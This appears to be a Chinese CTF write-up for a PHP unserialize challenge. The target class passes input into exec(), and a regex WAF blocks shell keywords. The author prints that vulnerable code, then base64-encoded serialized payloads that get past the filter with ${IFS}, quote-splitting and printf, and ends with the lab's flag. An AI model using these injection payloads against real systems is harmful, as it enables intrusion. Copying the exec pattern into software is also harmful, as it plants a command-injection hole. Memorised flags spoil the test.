进入靶场
代码审计
php
<?php
// 高亮显示当前 PHP 文件的源代码,方便开发者查看代码结构和内容
highlight_file(__FILE__);
// 定义一个名为 ease 的类
class ease {
// 私有属性 $method,用于存储要调用的方法名
private $method;
// 私有属性 $args,用于存储调用方法时传递的参数
private $args;
// 构造函数,在创建类的对象时自动调用
// 接收两个参数:$method 表示要调用的方法名,$args 表示调用方法时传递的参数数组
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
// 析构函数,当对象被销毁时自动调用
function __destruct() {
// 检查 $this->method 是否在数组 ["ping"] 中
// 如果存在,则调用 call_user_func_array 函数来动态调用对象的指定方法,并传递相应的参数
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
// 定义一个名为 ping 的方法,用于执行系统命令
// 接收一个参数 $ip,通常是一个 IP 地址
function ping($ip) {
// 使用 exec 函数执行 $ip 对应的系统命令,并将执行结果存储在 $result 数组中
exec($ip, $result);
// 使用 var_dump 函数输出 $result 数组的详细信息
var_dump($result);
}
// 定义一个名为 waf 的方法,用于进行简单的 Web 应用防火墙(WAF)过滤
// 接收一个参数 $str,表示要过滤的字符串
function waf($str) {
// 使用 preg_match_all 函数进行正则表达式匹配
// 正则表达式 "/(\||&|;| |\/|cat|flag|tac|php|ls)/" 用于匹配一些危险字符和关键字
// 如果没有匹配到任何内容,则返回原始字符串
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
// 如果匹配到了危险字符或关键字,则输出 "don't hack" 提示信息
echo "don't hack";
}
}
// __wakeup 魔术方法,在对象被反序列化时自动调用
function __wakeup() {
// 遍历 $this->args 数组,对每个元素应用 waf 方法进行过滤
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
// 从 POST 请求中获取名为 'ctf' 的参数值,并赋值给 $ctf 变量
// @ 符号用于抑制可能出现的错误信息
$ctf = @$_POST['ctf'];
// 对 $ctf 进行 Base64 解码,然后进行反序列化操作
// @ 符号同样用于抑制可能出现的错误信息
@unserialize(base64_decode($ctf));
?>
需要通过 POST 请求传递一个经过 Base64 编码的序列化对象给参数ctf
1,
php
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('ls'));
$b = serialize($a);
echo $b;
?>
别问为什么不直接在php代码里转换为base64,我的php运行工具不太行
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:2:"ls";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiJlYXNlbWV0aG9kIjtzOjQ6InBpbmciO3M6MTA6ImVhc2VhcmdzIjthOjE6e2k6MDtzOjI6ImxzIjt9fQ==
2,
得知了有个flag_1s_here文件,查看一下
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==
3,
查看flag_831b69012c67b35f.php
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319
cyberpeace{a54274ce8db23eaf3f848c4099bc22eb}